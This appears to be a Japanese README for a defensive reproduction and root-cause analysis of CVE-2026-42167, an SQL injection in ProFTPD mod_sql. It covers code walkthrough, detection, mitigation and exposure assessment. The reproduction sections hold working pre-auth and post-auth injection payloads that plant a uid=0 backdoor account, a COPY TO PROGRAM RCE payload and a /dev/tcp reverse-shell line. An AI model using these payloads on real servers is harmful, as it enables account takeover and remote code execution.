
CVE-2026-42167(ProFTPD mod_sql is_escaped_text() バイパス)に関する独立した再現、コードレベルの根本原因分析、および現実的な曝露レポート。
mod_sql SQLインジェクション / 認証バイパス / RCE独立した再現、コードレベルの根本原因のウォークスルー、そして
CVE-2026-42167 に関する率直な曝露分析 — ZeroPath Research が開示し、
ProFTPD 1.3.9a / 1.3.10rc1 で修正された ProFTPD の mod_sql ロギングパイプラインにおける
is_escaped_text() バイパス。
2026-04-29 に macOS / Apple Silicon 上の Docker でエンドツーエンドで構築・検証済み。
TL;DR — どれほど心配すべきかを判断する前に、現実的な曝露の全体像については 結論 を参照してください。これは デフォルトインストール のバグでは ありませんが、危険なクォーティングパターンは上流ドキュメントが使用を推奨するパターン であるため、
mod_sqlデプロイの大部分がこの問題を引き継いでいます。
| フィールド | 値 |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQLインジェクション)、CWE-78 (OSコマンドインジェクション — PG COPY TO PROGRAM 経由) |
| 影響を受けるバージョン | ProFTPD ≤ 1.3.9 で mod_sql + SQLLog/SQLNamedQuery を使用し、フォーマット文字列が攻撃者が制御する変数をシングルクォート内で補間する構成 |
| 修正バージョン | 1.3.9a (af90843ba…) / 1.3.10rc1、コミット e6f728481 ("Issue #2052") を参照 |
| 固定した脆弱性コミット | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| 脆弱なファイル | contrib/mod_sql.c 741–758行 (is_escaped_text) および 777行 (sql_resolved_append_text) |
| 元の開示 | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| 公開PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| リリースノート | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
contrib/mod_sql.c の is_escaped_text() ヒューリスティックmod_sql はロギングフォーマット変数 (%U、%{basename} など) を解決し、
各断片を sql_resolved_append_text() 経由でレンダリングされたSQLに追加します。
変数を '…' で既にラップしている管理者設定との後方互換性を維持するため、
この関数は sql_escapestring が必要かどうかを判断するために
is_escaped_text() を呼び出します:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
構造チェックは純粋に構造的なものであり、*「信頼できるコードによって既にエスケープされている」* と *「攻撃者が既にエスケープされているように見せかけて作成した」* を区別することはできません。
`'<no-internal-quotes>'` に一致するクライアント提供の値は `sql_escapestring` をスキップし、最終的なクエリにそのまま連結されます。
標準的で文書化された設定では、`%U` / `%{basename}` / `%m` を単一引用符で囲みます。```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
攻撃者が USER '<payload>'(先頭と末尾に引用符、内部に引用符なし)を送信すると、リゾルバは %U をエスケープせずに置換し、SQL 内に ''<payload>'' を生成します。空文字列リテラルが周囲の引用符を閉じ、<payload> が生の SQL として実行されます。PostgreSQL(PQexec)と SQLite(sqlite3_exec)ではスタッククエリがサポートされているため、<payload> は任意のステートメント列にできます。
SQLLog ERR_* は失敗したログイン時に発火し、%U は認証前に USER から設定されるため、この攻撃は完全に未認証で実行可能です。
e6f728481、"Issue #2052")sql_resolved_append_text() に already_escaped パラメータが追加されました。クライアント入力から値を解決する呼び出し元は FALSE を渡し、今後は無条件に sql_escapestring を経由します。is_escaped_text() ヒューリスティックは、正当な「設定に事前エスケープ済みの値がある」パスに対して引き続き適用されますが、攻撃者が制御するデータには適用されなくなります。
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- 両方のコンテナは `setup/docker-compose.yml` で起動します。
- `setup/proftpd.conf` は脆弱なログ設定を有効にします(§1 参照)。
- `setup/seed.sql` は `users`、`groups`、`activity_log`、`xfer_log`、
および `secrets` を作成し、さらに単一の正規 FTP ユーザー `ftpuser / ftppass` を追加します。
---
## 3. 再現 — コピー&ペースト
前提条件: Docker Desktop、Python 3.10+、git。(`uv` は任意です。PoC は stdlib のみで動作します。)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
The two interactive variants in the upstream repo
(preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a
PTY-backed reverse shell. They use the same primitive as the marker
variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.
USER command, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
仕組み:
1. **外側の引用符 + 内部に引用符がない**ことで
`is_escaped_text()` と一致 → エスケープがスキップされる。
2. 設定された `SQLNamedQuery` は `INSERT "'%U', '%r', '%m'" activity_log`
なので、レンダリングされたSQLは
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` になる — ただし
`<payload>` 自体が `'` で始まるため、実効クエリは
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')` となる。
3. `--` が末尾のフォーマットスロットをコメントアウトする。
4. `$$…$$` PostgreSQLのドル引用符により、`'` を一切使わずに文字列(`backdoor`、
`pwned123`、`/`、`/bin/bash`)を渡せる — `is_escaped_text()` の
バイパスを維持できる。
5. 失敗したログインで `SQLLog ERR_*` が発火 → `PQexec()` がスタックされた
`INSERT INTO users` を実行 → 認証テーブルにバックドアアカウントが存在するようになる。
### 認証後バックドア(`STOR` ファイル名、`%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
同じバイパスでも、トリガーが異なる。chr(47) = '/' が使われるのは、
FTPではファイル名内の/がディレクトリ区切り文字として解釈されるため、攻撃者は
ファイル名にリテラルな/を入れることができないからだ。chr()を使うことで、
バックドアアカウントはワイヤ上に/を送信せずにhomedir = '/'を取得できる。
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
`<shell-cmd>` は任意のコマンドです。PostgreSQL はこれを **データベース** ホスト上で `postgres` OS ユーザーとして `/bin/sh` 経由で実行します。`mod_sql` が使用する DB ロールがスーパーユーザー(または `pg_execute_server_program` のメンバー)である必要があります。これはシングルテナント展開では一般的であり、`POSTGRES_USER` 経由でロールが作成された場合の公式 `postgres` Docker イメージのデフォルトでもあります。
---
## 5. 再現中に取得された証拠
| ファイル | 内容 |
|---|---|
| `logs/01_preauth_backdoor.log` | 事前認証 PoC の出力。`backdoor` としてのログインが成功(`230`) |
| `logs/02_db_users_after.log` | `users` テーブルに `backdoor / pwned123 / uid=0` が含まれるようになった |
| `logs/03_postauth_stor_backdoor.log` | STOR `%{basename}` 経由の事後認証 PoC の出力 |
| `logs/05_preauth_rce_marker.log` | FTP 経由で送信されたマーカーペイロード |
| `logs/06_users_final.log` | 最終的な `users` テーブルの状態 |
| `logs/07_proftpd_trace.log` | ProFTPD 自身のトレースログ。各注入ペイロードに対して `text '…' is already escaped, skipping escaping it again` を出力 — 攻撃者入力に対して `is_escaped_text()` が TRUE を返した直接的な証拠 |
| `logs/08_rce_proof.log` | postgres コンテナ上で *postgres ユーザーによって* 書き込まれた `/tmp/cve-2026-42167-rce.txt` |
| `screenshots/*.png` | キャプチャされた各ターミナルセッションの PNG レンダリング |
トレースログの行が決定的な証拠です。```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
このメッセージは、is_escaped_text() がTRUEを返した場合にのみ contrib/mod_sql.c:791 で出力されます。つまり、まさにバイパスが発生した時です。
検出(展開済みサーバーでのフォレンジック):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
に Trace sql:17 を有効にすると、バイパスに到達したすべてのインジェクション試行が記録されます。activity_log(または SQLNamedQuery INSERT が書き込む任意のテーブル)を監査します。ユーザー名カラムが余分な引用符で始まる行、null, null); を含む行、または INSERT/COPY TO PROGRAM/UPDATE を含む行は証拠となります。users テーブルで、uid=0、homedir='/'、またはポリシーが /sbin/nologin を使用する場合に実シェルが設定されているアカウントを監査します。緩和策:
e6f728481)にアップグレードします。SQLNamedQuery のフォーマット文字列から除外します(パラメータ化されたバックエンド内でのみ '%U' をより安全な %U に置き換えるか、失敗したログインにはプレーンテキストのファイルベースのログを使用します)。mod_sql の PostgreSQL ロールがスーパーユーザーでないことを確認します。これだけで COPY TO PROGRAM の RCE 経路が排除されます(スタックされた INSERT INTO users による認証バイパスは依然として機能しますが、被害範囲は proftpd データベースに限定されます)。. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png
## 8. これは現実的なのか、それとも作為的なエッジケースなのか?
正直な答えはこうだ:**「パケットを1つ送ればサーバーを乗っ取れる」ワームよりは狭いが、脆弱なパターンはProFTPD自身のドキュメントに記載されているものなので、作為的ではない。** 3つの独立した要素が、特定のデプロイ環境が影響を受けるかどうかを決定し、それぞれが対象となる母集団を絞り込んでいく。
### 8.1 `mod_sql`はそもそもロードされているのか?
`mod_sql`はオプトインである。デフォルトのProFTPDビルドには**含まれておらず**、Debianの`proftpd-basic`のようなディストリビューションパッケージのデフォルト設定にも含まれていない。以下の場合にのみ利用できる:
- `--with-modules=mod_sql:mod_sql_<backend>`を指定してコンパイルした場合、または
- バックエンド固有のパッケージをインストールした場合:Debianの`proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`、RHELの`proftpd-postgresql` / `proftpd-mysql`。
これらのパッケージをインストールする理由は明確だ:SQLバックアップの**認証**(`/etc/passwd`の代わりにDB内のユーザー)または監査用のSQLバックアップの**アクティビティログ**である。どちらも共有ホスティング、マネージドFTP、企業のFTPドロップ環境では一般的である。つまり、`mod_sql`はインストールベースの実質的な部分を占めている — ただし「すべてのサーバー」というわけではない。
### 8.2 脆弱な`SQLNamedQuery`パターンは実際に使われているのか?
ここが現実味が最も高い部分である。バグを引き起こすパターンは*文書化されたものそのもの*である。固定された脆弱なコミット時点のアップストリームツリーから直接引用した例:```
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
すべての箇所で、攻撃者が制御する変数(%u、%r)がシングルクォートで囲まれています — まさにis_escaped_text()が誤分類する形です。上流のドキュメントからコピー&ペーストする管理者は、脆弱なパターンをそのまま引き継ぐことになります。 これが、この問題を真剣に受け止めるべき最大の理由です。
完全に未認証の経路(USER + %U + SQLLog ERR_*)は、最も狭いケースです。以下の3つすべてが必要です:
%U(元のユーザー名。ログイン失敗時にも設定される)を補間するSQLNamedQuery — 実際の設定では%uよりも一般的ではありません。なぜなら、ほとんどの管理者は監査用に成功したユーザー名を必要とし、%uを使用するからです。SQLLogディレクティブ。SQLLog ERR_*はそのための標準的なワイルドカードです。SQLLog PASS …およびSQLLog STOR …(最も一般的な形式)は発火しません。設定で%Uではなく%uを使用している場合、同じバグが依然として認証バイパスを引き起こしますが、認証後のみです。つまり、攻撃者はまず何らかの有効な認証情報を入手してから、uid=0のバックドアを仕込む必要があります。ほとんどの実際の設定では、これが現実的な露出です:低権限のFTPユーザー → 1回のアップロードでroot相当のFTPユーザー。
バイパスはすべてのバックエンドで同様に発火しますが、攻撃者ができることは大きく異なります:
| バックエンド | スタッククエリ? | INSERT INTO usersによる認証バイパス | DBホストでのRCE |
|---|---|---|---|
| PostgreSQL | あり(PQexec) | 動作する | あり — DBロールがスーパーユーザーの場合、COPY TO PROGRAM経由 |
| SQLite | あり(sqlite3_exec) | 動作する(さらにFTPワーカーがPRIVS_ROOTを持つことが多く、さらに悪化) | 直接の同等機能はないが、書き込み可能なusersテーブル → root FTPログイン |
| MySQL | なし — CLIENT_MULTI_STATEMENTSなしのmysql_real_query | 2番目のステートメントを追加できない。単一ステートメントのサブクエリ/データ流出のみのブラインドSQLiに限定される | なし |
PostgreSQLまたはSQLite ⇒ 完全な影響。MySQL ⇒ データ漏洩/時間ベースのブラインドのみ。共有ホスティング(cPanel、Plesk、ISPConfigはすべてデフォルトでMySQL)ではMySQLが圧倒的に一般的なバックエンドです。PostgreSQLはカスタムのエンタープライズ構築でより一般的です。どちらの母集団も無視できない規模です。
見出しのCOPY TO PROGRAM RCEには、さらにmod_sqlのPostgreSQLロールがスーパーユーザー(またはpg_execute_server_programのメンバー)であることが必要です。つまり:
postgres DockerイメージのPOSTGRES_USER環境変数でDBが作成された場合に一般的(ほとんどのPoCラボや多くのアプライアンスイメージ、このリポジトリのsetup/を含む、のデフォルト)。ロールがスーパーユーザーでない場合でも、認証バイパスのプリミティブ(それ自体が重大)は得られますが、DBホストでのOSレベルのRCEは消えます。
ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above
---
## 10. 推奨事項
ProFTPD `mod_sql` を実行しているすべての方へ:
- いずれにせよ **1.3.9a 以上へアップグレード** してください。これが唯一の完全な修正です。
- パッチ適用までの**代替策**:
- DB ロールを **非スーパーユーザー** に変更 — PostgreSQL での RCE 経路を無効化します。
- `users` / 認証テーブルに、紛れ込んだ `uid=0` 行や最近追加されたアカウントがないか監査 — §6 を参照。
- `Trace sql:17` を有効にし、`trace.log` で `is already escaped, skipping escaping it again` を grep — この行はバイパス試行の直接的な証拠です。
- 可能であれば、`SQLLog ERR_*` ディレクティブと、`%U`(事前認証プリミティブ)を補間する `SQLNamedQuery INSERT` 形式を削除してください。事後認証パスは `%u` / `%{basename}` 経由で依然として存在しますが、最悪のケースは排除できます。
---
## 11. 結論
- これは **「デフォルトインストールの脆弱性」ではありません** — `mod_sql` を実行している必要があります。
- これは **「ドキュメントに従った場合の脆弱性」です** — 危険なクォートパターンは公式のものであり、上流の HOWTO 全体にコピー&ペーストされています。
- 見出しにある **完全に未認証のシナリオ** は現実的ですが、特定の(事前認証 `%U` + `SQLLog ERR_*` ワイルドカード)設定の組み合わせが必要であり、事後認証パスほど一般的ではありません。
- **事後認証の権限昇格シナリオ**(任意の FTP ユーザー → uid=0 FTP バックドア)は、はるかに現実的であり、文書化されたロギングパターンを使用する `mod_sql` + PostgreSQL/SQLite デプロイの大部分に影響します。
- **DB ホストでの OS レベルの RCE** は、DB ロールがスーパーユーザーである場合に限られます — シングルテナント / アプライアンス型のセットアップでは一般的ですが、DBA 管理環境ではあまり一般的ではありません。
---
## クレジット
- 脆弱性を発見し、最初に公開したのは [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce) です。
- 公開 PoC リポジトリ: [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc)。
- 修正は TJ Saunders によるもので、コミット [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)(「Issue #2052」)です。
このリポジトリは、防御的な研究と教育のための独立した再現および分析です。0-day は含まれません。テストを許可されたシステムでのみ使用してください。